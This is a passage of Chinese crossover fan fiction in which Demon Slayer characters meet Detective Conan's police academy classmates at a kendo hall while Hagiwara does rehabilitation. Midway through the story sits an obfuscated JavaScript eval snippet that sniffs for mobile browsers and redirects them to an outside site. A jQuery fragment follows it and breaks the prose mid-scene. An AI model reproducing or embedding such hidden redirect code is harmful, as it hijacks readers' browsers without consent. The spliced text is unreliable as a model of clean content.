“我出门咯——”
“姐姐!是去剑道馆吗?”我妻善逸三步并作两步跳下楼梯,“我和你一起去。”
“搞什么,你不学习了?”
他摇头,人已经走向鞋柜,“老师说任务没有那么重,最近可以多玩玩,免得上学后更没机会玩。”
“你们老师还挺好的。”须月换好鞋,反而对他甩手,“那你去玩啊,去剑道馆干嘛。”
我妻善逸幽怨地抬头看她,“因为朋友们都更想练剑啊。”
“他们真是莫名其妙。”
“就是啊!”
喊出来之后我妻善逸好过多了,看得出他对剑道馆的行程也不是那么抗拒。只是习惯性懒惰。
这点须月和他一样。但是偷懒了这么久,其实须月反而不那么排斥努力了。
她这次就准备多少指导下其他人的。
早上八点,他们到了剑道馆,换上了剑道服。和已经开始练习得炭治郎等人见了面。
这里一堆少年,要么是继子,要么就和柱好得像师徒,须月自觉留下没有什么用处,转身就去看其他剑士的练习了。
一路看过去,每个教室都多少有一两个人正在练剑。看到须月,他们先是疑惑,得知要进行指导后便高高兴兴地提出了请求。
切磋好啊,刚好须月也可以热身。
松田阵平推着萩原研二进来的时候正听到“噼里啪啦”的木刀触碰声,他说:“可能是有人在切磋。”
萩原研二对这动静很好奇,听说是切磋后也想去围观。
松田阵平虽然有点担心这人被误伤,又觉得不至于有这么危险。加上自己也很好奇是谁功力这么高。还是推着人去找位置了。
进去时第一眼看到的就是贴着墙壁围成一个圈的剑士们,然后再看见中间制住对手的须月。
“哇,好厉害。”萩原研二真心实意地夸赞。
松田阵平就没什么想说的了,他知道这不是平等切磋,大概是须月在指导学员,于是对她点了点头,推着萩原研二就走。
“阵平,不多看看吗?”
“看上去一时半会儿结束不了,你还是先复健吧。”
“啊……”
蝴蝶诊所没有空余的场地,所以蝴蝶香奈惠推荐他们来剑道馆找位置复健,他们可是带着目标来的。
萩原研二也知道这是为自己好,没有偷奸耍滑的意思,就是……一想起来那种痛……唉……
“阵平哥?萩原先生。”
萩原研二收回苦恼的神情,开起了玩笑,“怎么叫我就那么生疏?”
炭治郎一笑,上道地说:“研二哥。”
“嗯哼,你们在练习吗?”
“我在教祢豆子练剑呢。”
刚才还无精打采的我妻善逸现在已经完全恢复了正常,甚至还有些兴奋,“我在为了成为鸣柱而努力!”
“鸣柱?”
“剑术最顶级的一批称为柱,鸣柱就是使用雷之呼吸的柱。”
“啊,小阵平好像跟我说过你们的剑术流派,就叫呼吸法来着。”
炭治郎他们偷偷笑了笑。
不管多少次,听到松田阵平这样穿西装戴墨镜的人被这样称呼,都觉得好有趣啊。
松田阵平倒是已经习惯了,或者说练就了厚脸皮,目不斜视地推着轮椅,平常心与他们交谈。
“须月今天怎么这么有兴致?”
他一看那阵仗就知道须月得教好长时间,这可是头一次碰见这样的事。难道是被缠上了不好意思离开?
嗯……这倒是不太可能。
炭治郎也不知道个所以然,他看向我妻善逸。
善逸耸肩,“可能今天心情比较好吧。话说阵平哥你今天的心情真的好好哦。”
“我吗?”
“是啊。”祢豆子望着他的脸,“一直在笑呢。”
我妻善逸心说还不止这样,他心里早就开起演唱会了。
松田阵平试图拉平嘴角,然而失败。遂戴上墨镜,遮掩手法聊胜于无。
萩原研二想笑不敢笑,他知道这都是因为他才失态,要是嘲笑就太没良心了。
“对了,我爸妈什么时候到?”
“中午吧,大概赶不及吃饭就到了。”
“那要准备她的饭咯?”
松田阵平不理解了,“这不由你们负责吧?而且我带他们出去吃就可以了啊。”
炭治郎坚定摇头,“连饭都赶不及吃,来之后肯定会很饿的,在这里吃就好了啊。我们会好好招待的。”
“我说,剑道馆也不是你们家的吧。谈什么招待。”
“……”
该怎么说呢,其实他们心里觉得剑道馆是大家的来着。
“要是这里供应,就在这吃嘛,反正他们又不会在意。”
“也行。不过你们一直跟着做什么,他要复健了。”
炭治郎一动不动,对他说:“我知道啊,这种事我们有经验的,所以会好好打气!”
萩原研二:“……”
“哈哈哈哈好啊,你们好好打气。”
“小阵平——”
“有什么关系,哈哈哈哈……”
在大家的帮助下撑着栏杆起身,萩原研二深深吸了一口气,哲学家似的神游了一会儿。
他要缓一缓。
不对,“你们说这种事你们很熟悉,是受过什么伤吗?”
炭治郎发现警察们就是格外敏锐,格外关心他人,一下被感动到了。
他回答:“练习容易受伤,修养后要回到以前的水平就得进行康复训练啦,和这个不一样的。”
说着,他拉了善逸和伊之助进行演示。
“先这样——啊啊啊好痛~”
“再这样——嗷嗷嗷好苦~”
“最后是——呜呜呜好累~”
三人一齐趴在了地上,看的祢豆子和两个成年人笑得前仰后合。
“不行了,不行了,笑得我站不住。小阵平救我——”
松田阵平一下收了咧着的嘴,冷淡地把他拽起来。
可怕得是一屋子六个人有五个都是情绪感知的能手,原本畅快的笑声唰得变了调。屋内一下落针可闻。
只有嘴平伊之助摇着脑袋大喊大叫,“怎么了?怎么了?”
“没怎么。”我妻善逸无语地推开他的脸,心里有些庆幸。
还好,这儿有个呆瓜。
那边两个成年人脑袋碰脑袋说起了悄悄话,他也没偷听的念头,只是可惜。
这种挚友死亡的阴影可不好摆脱。松田阵平在摩天轮上发生的事,他就不信不会出现在萩原研二的梦里。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524408|154977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只能说庆幸两人都活着,噩梦来袭了还能给对方打个电话。
嗯……陪床的情况还下一睁眼就能看到呢。
他们的反应这么大,鬼杀队的大家反而不会有这样的情绪哎,因为什么呢……
他这么想着,一个不注意就发起了呆。
伊之助和祢豆子相处得很好,这段时间也没来烦他,使得善逸一不留神就呆了好半天。直到外面有人进来,大嗓门一下拉他回神。
“萩原!”
“啊,班长!”
我妻善逸跟着炭治郎他们叫了声“伊达先生。”
想起来松田阵平一直以来雷打不动地称呼他为班长,原来当时萩原研二也同班啊。
这真是让人羡慕的情谊啊。
“这真是让人羡慕啊。”
与此同时,炭治郎也说出了这句话。
伊达航揉揉他的头,爽朗地笑,“你们的感情不也是一样吗?你们几个相逢的年纪可比我与他们认识要早得多呢。”
炭治郎和善逸相视一笑,再转头,注意力就放在了跟在伊达航身后的人身上。
松田阵平也问:“这是?”
那人稍稍抬起头,取下了鸭舌帽。
“景光!”
“景老爷!你怎么会在这里?”
“这个就说来话长了。”那人温柔地笑了笑,忽略了这件事,对炭治郎他们做了个自我介绍,“你们好,我是诸伏景光,他们的警校同期。”
“又是同期啊。”
伊达航完全没察觉什么不对,一心一意都是同期相聚的开心,重重地点了点头。
“是啊,好巧能遇见!”
松田阵平倒是目光转了转,认为这事很戏剧性。但这情绪很快被另一个想法压了下去。
就剩一个人了啊,真是可惜。
他知道朋友们一定都这么想。
真是可惜——
不过现在这样已经很好了!
我妻善逸看看松田阵平,看看萩原研二,能肯定他们正忍着不开口呢。
于是他拉了拉灶门炭治郎。
“我们先练剑。”
灶门炭治郎一愣,也想到有必要给他们留出空间,便叫住祢豆子和伊之助,组织起训练。
“有三个同期帮忙,研二哥你应该可以应付得来吧?”
萩原研二顺着他的话说:“是啊,不用你们帮忙的。”
“那我们就先去练习了哦。”
“好。加油哦。”
和和美美地互相鼓励完,灶门炭治郎拉着一溜人往外走,半路上就看见我妻善逸掉了队。
“善逸,你要干什么啊?”
我妻善逸竖着手指做了噤声的动作,继续贴着墙壁偷听。
“炭治郎,我直觉他们之间有大秘密。”
“是吗?可这和你没关系吧。”
他认为这种行为实在是不好啊。
祢豆子也说:“不要偷听啦。”
我妻善逸站直,“好吧,那我没故意偷听,我只是想在这一间练剑。”
“……”
以你的耳力,在下一间都听得清对话吧。
兄妹俩无奈地对视了一眼,居然也选择了偷听。
嗯。他们不是想知道什么秘密,而是想根据偷听到的话正确约束我妻善逸的行动。